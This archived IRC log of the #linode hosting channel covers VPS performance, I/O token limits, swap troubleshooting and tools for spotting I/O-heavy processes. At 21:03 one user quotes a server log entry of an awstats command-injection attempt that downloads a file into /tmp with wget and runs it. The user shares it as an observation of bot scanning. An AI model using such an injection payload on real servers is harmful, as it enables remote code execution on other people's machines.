Back to Home / #linode / 2006 / 04 / Prev Day | Next Day
#linode IRC Logs for 2006-04-24

---Logopened Mon Apr 24 00:00:00 2006
---Daychanged Mon Apr 24 2006
00:00<OvrLrd-Q>somebody thrashing 37? or is it just mine lol :[
00:15|-|Viking69 [] has joined #linode
00:22|-|Viking69 [] has quit [Quit: —I-n-v-i-s-i-o-n— 2.0 Build 3515]
00:24<@linbot>New news from forums: Unanwered Ticket [19326] opened on 22nd in General Discussion <>
00:42[~]cmantito wonders if caker ever got around to that Arch image?
01:02|-|Marcel [] has joined #linode
01:06|-|afv-13 [] has quit [Ping timeout: 480 seconds]
02:08|-|nybble [] has joined #linode
02:08|-|nybble [] has quit [Quit: ]
02:32|-|bleppard [] has joined #linode
03:12|-|spr [] has quit [Quit: Spoon!]
03:43|-|bleppard [] has quit [Quit: CGI:IRC (Ping timeout)]
05:15|-|jekil [] has joined #linode
06:31|-|linville [] has joined #linode
06:37|-|jekil [] has quit [Quit: Leaving]
06:55|-|nenolod [] has quit [Remote host closed the connection]
08:23|-|Redgore [~Redgore@] has joined #linode
08:26<@linbot>New news from forums: Boy these boards are quiet ... in /dev/random <>
08:33|-|kokoko changed nick to konoko
09:10|-|FireSlash [] has joined #linode
10:11|-|FireSlash [] has quit [Quit: Leaving]
10:42|-|dc0e [] has quit [Ping timeout: 480 seconds]
10:42|-|dc0e [~dc0e@] has joined #linode
10:44|-|p3t3r [~lamer@] has joined #linode
10:48|-|jekil [] has joined #linode
10:56|-|jekil [] has quit [Ping timeout: 480 seconds]
11:23|-|Netsplit <-> quits: darkbeholder, chris, phlaegel, SupaZubon, valen2, JasonF, Beirdo, OvrLrd-Q, Shaun, anonymouse, (+1 more, use /NETSPLIT to show all of them)
11:23|-|tj [] has joined #linode
11:23|-|Netsplit over, joins: JasonF
11:23|-|Netsplit over, joins: OvrLrd-Q
11:23|-|Netsplit over, joins: SupaZubon
11:23|-|Netsplit over, joins: chris
11:23|-|Netsplit over, joins: Beirdo
11:23|-|Netsplit over, joins: Shaun
11:23|-|Netsplit over, joins: valen2
11:23|-|Netsplit over, joins: phlaegel
11:24|-|Netsplit over, joins: darkbeholder
11:25|-|weasel [] has quit [Quit: reboot]
11:28|-|anonymouse [] has joined #linode
12:10|-|afv-13 [] has joined #linode
12:11|-|swarren [] has joined #linode
12:13<swarren>I have a very puzzling network problem. When I run "route add -net gw", it says "SIOCADDRT: Network is unreachable". However, my routing table does have a an entry for, and traceroute confirms that it's just one hop. FYI, the route is via tun0 (OpenVPN)
12:25|-|swarren [] has quit [Quit: swarren]
12:41<lucca>welcome to network 23
12:52|-|jekil [] has joined #linode
13:04|-|jekil [] has quit [Ping timeout: 480 seconds]
14:06|-|JonR [] has joined #linode
14:06<JonR>HE having troubles?
14:08<OvrLrd-Q>not for me
14:08[~]JonR is having 1151 ms ping times.
14:08<JonR>and the traceroute gets bogged down in HE's network.
14:09<OvrLrd-Q>i get about 47-48 from TP
14:10<JonR> 9 ( 25.001 ms 23.964 ms 25.127 ms
14:10<JonR>10 * ( 1081.157 ms *
14:10<JonR>11 ( 1126.955 ms * 1065.924 ms
14:10<JonR>12 ( 1122.284 ms 1136.689 ms 1127.518 ms
14:10<JonR>13 * ( 1167.138 ms *
14:10<JonR>14 ( 1169.709 ms 1157.385 ms 1149.273 ms
14:10<OvrLrd-Q>27 packets transmitted, 27 received, 0% packet loss, time 26491ms
14:10<OvrLrd-Q>rtt min/avg/max/mdev = 46.866/50.552/117.279/13.430 ms
14:11<OvrLrd-Q> 8 ( 48.955 ms 46.864 ms 237.904 ms
14:11<OvrLrd-Q> 9 ( 46.495 ms 46.591 ms 46.624 ms
14:11[~]JonR shrugs.
14:11<OvrLrd-Q>intelligent routers
14:11<OvrLrd-Q>"It's that JonR guy! Degrade his QoS!"
14:12<JonR>wasn't doing this a few hours ago
14:17|-|JonR [] has quit [Quit: Leaving]
14:25<@linbot>New news from forums: Lost connection to MySQL server during query in Linux, Apache, Mysql and PHP (LAMP) Forum <>
14:50<p3t3r>hi anybody experienced with xen and qos?
14:51<Spads>have we ever
14:51<Spads>oh, experienced, not experimented
14:52<Spads>p3t3r: it's a difficult problem, but it looks like the solutions for UML may apply, and more effectively. I'm not totally abreast of the latest work on it though.
14:52<Spads>I think caker is working on moving the token system over, but I'm not sure.
14:53<Spads>there may be better stuff upstream that he found
14:57|-|spr [] has joined #linode
15:00|-|konoko [] has quit [Ping timeout: 480 seconds]
15:02|-|jekil [] has joined #linode
15:03<p3t3r>am trying to configure xen networking with several public IPs for domU´s and the question is how to make traffic shaping /qos for guests...
15:03<Spads>you mean *network* qos
15:03<Spads>no idea
15:06<warewolf>1uh wow.
15:14|-|jekil [] has quit [Ping timeout: 480 seconds]
15:17<p3t3r>basicaly is it possible to to use htb with bridge?
15:19<Spads>warewolf: Guns don't kill people: bullets kill people.
15:28<warewolf>oh man
15:28<warewolf>the SOUND
15:35|-|Marcel [] has quit [Ping timeout: 480 seconds]
15:38<gpd>ow - shame we don't get the story behind the punch - having a mullet may be correct
15:38<warewolf>old woman on the left "She's ...<pause> .. trash."
15:38<warewolf>woman on the right talking to child "Did you know that honey? Terry had THC in her system."
15:39<warewolf>mother of child accused of being a pothead socks the accuser
15:39|-|Mr_Person [~user@] has joined #linode
15:40|-|MrPilot-A [~mrpilot@] has joined #linode
15:40<Mr_Person>my linode is one that was moved from host39 to host37, and now everything is running really slow
15:40<anonymouse>that's because 37 is an unlucky number.
15:42<Mr_Person>i noticed the forum post from onyxnetworks that said they were having problems as well
15:42<Mr_Person>but no reply
15:46<gpd>Mr_Person: io_status?
15:49<Mr_Person>io_count=2973809 io_rate=53 io_tokens=19 token_refill=50 token_max=20000
15:50<gpd>there's yer problem
15:50<Mr_Person>i'm sure it's swapping like crazy, but we haven't had this problem (at least not this bad) until the move to 37
15:50<gpd>reboot will fix the tokens - but you need to find why you were swapping
15:53<afv-13>the 80 plan is 10Mb short on ram
15:53<afv-13>plan 90 even sounds cooler
15:54<gpd>plan 90 - powered by Plan9 ?
15:55<afv-13>with 99% uptime
16:08|-|linville [] has quit [Quit: Leaving]
16:12|-|weasel [] has joined #linode
16:12|-|anderiv [] has quit [Quit: Lost terminal]
16:35|-|alan [] has joined #linode
16:35|-|alan changed nick to alnr
16:37|-|p3t3r [~lamer@] has left #linode []
16:37|-|anonymouse changed nick to AgentSmith
16:39|-|Redgore [~Redgore@] has quit [Quit: A geek without purpose - | SMDC-Network IRC -]
16:41|-|AgentSmith changed nick to Milliways
16:48[~]OvrLrd-Q points and laughs @ Mr_Person and MrPilot-A
17:00<OvrLrd-Q>ok, is there a way to find out which process is the one that's thrashing the swap?
17:00<Milliways>'M' in top sorts by memory.. that's a pretty good indication, usually
17:04<OvrLrd-Q>never see anything running proc's though, just the sleeping ones
17:08<Milliways>whatever's got resident memory is what's using it
17:17|-|spr [] has quit [Quit: "Ah, the bounce has gone from his bungie"]
17:18|-|jekil [] has joined #linode
17:28|-|Shaun2222 [] has joined #linode
17:34|-|jekil [] has quit [Ping timeout: 480 seconds]
17:34|-|Shaun [] has quit [Ping timeout: 480 seconds]
17:43|-|konoko [] has joined #linode
17:49|-|spr [] has joined #linode
18:05|-|Mr_Person [~user@] has quit [Quit: Session Terminated]
18:11|-|Sgeo [] has joined #linode
18:12|-|Sgeo [] has quit [Remote host closed the connection]
18:13|-|Sgeo [] has joined #linode
18:15|-|Sgeo [] has quit [Remote host closed the connection]
18:24|-|adamg [] has quit [Ping timeout: 480 seconds]
18:35|-|tierra_ [] has quit [Ping timeout: 480 seconds]
18:46<efudd> <- wow
18:50|-|Mr_Person [~user@] has joined #linode
18:56<Mr_Person>what do i need to do to get my token_refill reset?
18:56<gpd>reboot or talk nicely to caker
18:59<Mr_Person>i rebooted once and it still stayed on
19:01<gpd>you may need to fix the problem that is causing you to get your tokens reduced
19:01<Mr_Person>we did turn off a few services in trying to get things to speed up before we noticed that the tokens were reduced
19:01<Mr_Person>but we haven't added any new services for months
19:02<Mr_Person>the only recent change has been the move to host37
19:03|-|maladmin [] has joined #linode
19:03<maladmin>hiya folks, anyone awake?
19:05<maladmin>hmm lots of people here, not much chat tho
19:05<maladmin>so i got got stitched by my vps provider, looks like he's done a runner
19:06<maladmin>lost my data, email, websites the lot
19:06<efudd>i've been with linode over 2 years. about all i can say.
19:07<maladmin>spoke to his provider, turns out one of his servers got hacked, guess he couldnt fix it, so ran up a few thou bill and did a runner
19:07<maladmin>whats the company like, are we talking hobbiests here, or is this a pro organisatin
19:07<efudd>I'm not unhappy with it. It's a business. 'caker' is the proprietor. mikegrb is an employee.
19:08<efudd>it started what, 3 years ago last july?
19:08<efudd>I joined in august or september of that year.
19:08<efudd>i am probably not going away anytime soon.
19:09<maladmin>cool, i've heard bad things about uml, got a website I can take a look at - to guage speed, latency etc?
19:09<efudd>Eh, I'm not on a small UML plan here.
19:09<efudd>so my experience is perhaps jaded.
19:10<efudd>there is some crap at
19:10<maladmin>ahh ok, i'll admit I'm just looking for personal use
19:10<efudd>web.broked is probably more apropos
19:10<efudd>if you want throughput, I've pulled > 30Mbit/second off this.
19:11<maladmin>damn I'll never get that at this end
19:11<efudd>Yes. Why wouldn't it.
19:11<afv-13>oic, Mbit
19:11<afv-13>i get that too
19:11<efudd>Of course.
19:11<efudd>I rarely exceed 5GB/month transfer tho :)
19:11<maladmin>what plans u guys using - i guess not the linode 80
19:11<efudd>I'm on what was the 192.
19:12<afv-13>i'm on the 80
19:12<efudd>linbot, avail?
19:12<maladmin>put some bigger movies up there efudd
19:12<efudd>linbot, linodes?
19:12[~]efudd forgets keyword
19:12<efudd>i'm on a 240 or whateve rit is now.
19:12<afv-13>efudd: 5Gb transfer?
19:13<maladmin>afw-13, whats it like - can you really run whatever you need? I had problems with spamassassin crashing for no reason on my last server
19:13<efudd>yes. 5GiB of transfer.
19:13<efudd>fuck SA.
19:13<efudd>bloated shit.
19:13<efudd>I won't run SA on my 240 :P
19:13|-|Mr_Person [~user@] has quit [Quit: Session Terminated]
19:13<maladmin>lol, i'm tending to agree but it was the best option i know for killig my spam
19:14<efudd>oh, just turn off your MTA.
19:14<afv-13>maladmin: i've got no complaints
19:16<maladmin>haha i just had my MTA turned off for me
19:17<afv-13>you get a cool web based config thing (even though you'll only use it for a couple of days), plenty of transfer (50Gb for the 80 plan) and freedom
19:17<afv-13>the other vps' are rather restrictive
19:17<efudd>As of Tue Apr 25 00:17:41 2006 you are currently UNDER your set limit (80%). Input Bytes Xfer: 0.34 GiBs Output Bytes Xfer: 1.01 GiBs ------------------------ Total Bytes Xfer: 1.35 GiBs of 150.00 available.
19:17[~]efudd sighs
19:17<efudd>stupid thing didn't paste right.
19:18<maladmin>looks ok from here
19:18<afv-13>not that i'm running a porn site, but if i do put an nudie up sometime i won't be castrated
19:18<maladmin>looks like u need some traffic tho
19:18<efudd>nah. i'm making up for going way way over limit 2 years ago :)
19:18<maladmin>caker - mikegrb friendly?
19:19<efudd>friendlier than I am.
19:19<efudd>I'm kind of an ass.
19:19<efudd>I actually suggest putting me on ignore.
19:19<afv-13>i have
19:19<afv-13>but it didn't last long
19:19<efudd>That's not fun. :/
19:19<afv-13>i'm too scared i miss something
19:20<afv-13>some prize wisdom that might pop out
19:20<afv-13>it's been quite a wait thoough
19:20<efudd>doubt it. all i do is make shit up.
19:20<efudd>and it's unlikely that you are interested in the random internals of $SOMESYSTEM.
19:21<afv-13>The early bird gets the worm, but the second mouse gets the cheese.
19:22<afv-13>i've filled my quota for the year
19:22[~]efudd nod
19:22[~]afv-13 returns to the corner
19:22|-|MrPilot-A [~mrpilot@] has quit [Quit: The ultimate responsibility of the pilot is to fulfill the dreams of the countless millions of earthbound ancestors who could only stare skyward and wish.]
19:22<maladmin>hmm ok, looks like you guys talked me into it - now all i need is a working email addy so i can sign up
19:23<maladmin>btw what irc net is this?
19:23<maladmin>never heard of it
19:23<encode>well now you have
19:24<maladmin>that dosnt mean much tho - lots i never heard off
19:27<afv-13>maladmin: how much ram did you have at the other place?
19:28<maladmin>good q. i cant remember exactly, and i cant check anymore - i think about 60Mb
19:28|-|Mr_Person [~user@] has joined #linode
19:28<maladmin>bandwidth was greater (300Gb) not that i ever came close to using it
19:29<afv-13>well the lowest here is 80, so you'll manage what you had and more
19:29<afv-13>i doubt anyone ever did, they probably came up with a number just to impress people
19:30<TheFirst>so long as you tune and dont run sa an 80 works
19:30<maladmin>damn b4 i went vps i ran an old p2 linux box with less than that
19:40|-|FireSlash [] has joined #linode
19:40<@linbot>New news from forums: Reboot: host40 in System and Network Status <>
19:53|-|roadmr [~roadmr@] has joined #linode
19:56|-|foodbar [] has joined #linode
19:56<foodbar>host 40 down?
19:58<afv-13>it pings back
19:58|-|MrPilot [~mrpilot@] has joined #linode
19:59<afv-13>ssh through works
20:01<gpd>MrPilot: i suspect the host switch is a red herring
20:02<Spads>gpd: wouldn't that smell after a while?
20:02<afv-13>depends on the aircon system of the server room
20:03<gpd>mmm... fishy
20:04<afv-13>each to their own
20:08<Mr_Person>gpd: (I'm with MrPilot) but why would we only have these problems after the switch?
20:08<Mr_Person>we haven't made any configuration changes in months and everything's been working great
20:08<gpd><guess>you were close to the limit of memory and this machine has higher load</guess>
20:14<foodbar>ok my site is back up
20:14<foodbar>it looks like the boot took a long time after the reboot.. I'm seeing 30-45 minutes for my node to come up when the host is rebooted
20:15|-|FireSlash_ [] has joined #linode
20:17<foodbar>depending on when it went down
20:21|-|FireSlash [] has quit [Ping timeout: 480 seconds]
20:22<OvrLrd-Q>is there a good command to see what process is the one 'wait'ing for io?
20:29|-|roadmr [~roadmr@] has quit [Quit: Leaving]
20:50|-|adamg [] has joined #linode
20:57<gpd>OvrLrd-Q: no - apparently it is difficult
20:57<foodbar>ps axl on freebsd, sorry don't know linux well
20:58<foodbar>l gives the wait queue for a process sleeping in msleep()
20:58<erikh>foodbar: that does the same on linux
20:58<OvrLrd-Q>meh, cheezy, windows has fun tools from sysinternals, why can't linux lol :(
20:59|-|foodbar [] has quit [Quit: CGI:IRC 0.5.7 (2005/06/19)]
20:59<gpd>Spads: any idea - you mentioned this the other week
20:59<cow>okay this might be the wrong place to ask this question...
20:59<erikh>there's also top -m io on freebsd, which is very, very nice.
20:59<cow>but anyone know how to terminate a pptp vpn connection by the commandline in winxp?
20:59<Spads>gpd: ?
21:00<gpd>Spads: OvrLrd-Q's question - can you detect i/o usage by a process
21:00<Spads>you can tell what state processes are in
21:00<Spads>in top
21:00<Spads>or in ps
21:00<cow>isnt there a column in ps that shows consumed i/o?
21:00<Spads>usually the D-state is the ones that are really badly waiting on I/O
21:00<Spads>but often they're just S like everybody else
21:01<Spads>the problem is that there's no easy way to distinguish disk I/O from network I/O or sleeping for a signal event
21:01<cow>does waiting on I/O necessarily mean that they are the i/o hogging process?
21:01<Spads>oh yeah
21:01<Spads>cow: Categorically NO
21:01<cow>or is it not much help in figuring it out
21:01<Spads>cow: everyone sleeps on I/O all the time
21:01<Spads>that's how Unix multitasks
21:01<cow>yeh i figured
21:02<Spads>could be terminal I/O
21:02<Spads>could be network
21:02<cow>there must be a more definitive way...
21:02<Spads>could be disk
21:02<Spads>could just be waiting for SIGALRM or something
21:02<cow>msft task manager shows i/o usage :P
21:02<cow>so it could be waiting for a token of some sort
21:02<cow>not just i/o from, lets say, the hard disk
21:03<cow>... anyone on my windows question?
21:03<@caker>my guess is one of the fields from /proc/$pid/stat is block IO counts
21:03<cow>or do i have to reboot
21:03<FireSlash_>Nice. Glad I don't have awstats installed. Looks like bots are exploit mining it :/
21:03<FireSlash_>17: : 29/Jan/06 11:09: /cgi-bin/|echo;echo YYY;cd /tmp%3bwget +x killop%3b./killop;echo YYY;echo|
21:04<FireSlash_>I assume this has been fixed though.
21:04<OvrLrd-Q>oh yea long time ago
21:04<erikh>they are always exploitiing it
21:04<erikh>or at least, attempting.
21:04<OvrLrd-Q>was only vulnerable in 6.1 and before
21:04<@mikegrb>there is a new exploit found in awstats every other week
21:04<OvrLrd-Q>latest stable is 6.5 and beta is 6.6
21:05<gpd>top -m io on bsd looks useful
21:06<erikh>yeah, it is.
21:06<erikh>order top by io
21:06<erikh>nothing sweeter.
21:06<gpd>so nothing similar in Linux top :(
21:06<erikh>not that I can find.
21:06<erikh>nothing similar w/ iostat either, but I haven't checked systat
21:07<OvrLrd-Q>what packages provide iostat and systat?
21:08<gpd>sysstat for me on ubuntu
21:08<OvrLrd-Q>ahah, helps if I spell it right
21:08<gpd>iostat seems to be per device
21:10<OvrLrd-Q>Locate I/O bottlenecks with iostat
21:10<OvrLrd-Q>how tricky
21:11<gpd>login to
21:11<OvrLrd-Q>yea lol bugmenot for the win
21:13|-|MrPilot [~mrpilot@] has quit [Quit: The ultimate responsibility of the pilot is to fulfill the dreams of the countless millions of earthbound ancestors who could only stare skyward and wish.]
21:13<gpd>still per device not per process (BSD for the win it seems)
21:13<afv-13>would be nice if you could apt-get it
21:14<afv-13>btop or something
21:22|-|erikh [] has quit [Quit: Terminated with extreme prejudice - dircproxy 1.0.5]
21:25<afv-13>dstat isn't bad
21:25<afv-13>no help though
21:27<OvrLrd-Q>ooooh dstat is all colorfied
21:28<gpd>slabtop is mystifying - also no help
21:29[~]gpd asks on kernelnewbies - watches tumbleweeds go by
21:32<OvrLrd-Q>unrecognizable slabinfo version
21:32<OvrLrd-Q>lol i win?
21:46<TheFirst>that dstat tool is nifty....gotta remember it
21:47<TheFirst>the neverending journey of learning
21:53<gpd>which channel would you most likely find kernel hackorz?
21:53|-|afv-13 [] has quit [Ping timeout: 480 seconds]
21:57<gpd> <-- might have something
21:58<gpd>hideous as it is
22:05<gpd>On average, there will be 41 months that have two Full Moons in every century, so you could say that once in a Blue Moon actually means once every two-and-a-half years.
22:06<@caker>!calc once in a blue moon
22:06<@linbot>caker: once in a blue moon = 1.16699016 × 10^(-8) hertz
22:06[~]efudd snickers
22:17<@caker>"Microsoft is now talking about the digital nervous system. I guess I would be nervous if my system was built on their technology, too."
22:18<@caker> "Open source is free like a puppy is free."
22:18<@caker>the last one is classic
22:19[~]gpd enjoys caker
22:20|-|erikh [] has joined #linode
22:20<TheFirst>too much information
22:25<gpd>caker: any progress on the xen io_status port?
22:26<efudd>Xen doesn't quite have the same... er... connection to the subdomains.. :)
22:26<efudd>(as uml)
22:27<gpd>i mean io_status port in the very loose sense of the term
22:27<efudd>oh, I realize.
22:27<efudd>I just spent a few seconds pondering on it and went "Hmm, yeah, that might be complicated."
22:52<@caker>gpd: no, I've been busy building machines
22:57|-|FireSlash_ [] has quit [Read error: Connection reset by peer]
22:59|-|VS_ChanLog [] has left #linode [Rotating Logs]
22:59|-|VS_ChanLog [] has joined #linode
23:08|-|OverlordQ [] has joined #linode
23:09|-|OvrLrd-Q [] has quit [Read error: Connection reset by peer]
23:09|-|tj_ [] has joined #linode
23:09|-|tj [] has quit [Read error: Connection reset by peer]
23:10|-|cout_ [] has joined #linode
23:10|-|cout [] has quit [Read error: Connection reset by peer]
23:10|-|SupaZubo1 [] has joined #linode
23:10|-|SupaZubon [] has quit [Read error: Connection reset by peer]
23:10|-|tierra [] has joined #linode
23:28|-|SupaZubo1 changed nick to SupaZubon
23:48|-|Mr_Person [~user@] has left #linode []
---Logclosed Tue Apr 25 00:00:54 2006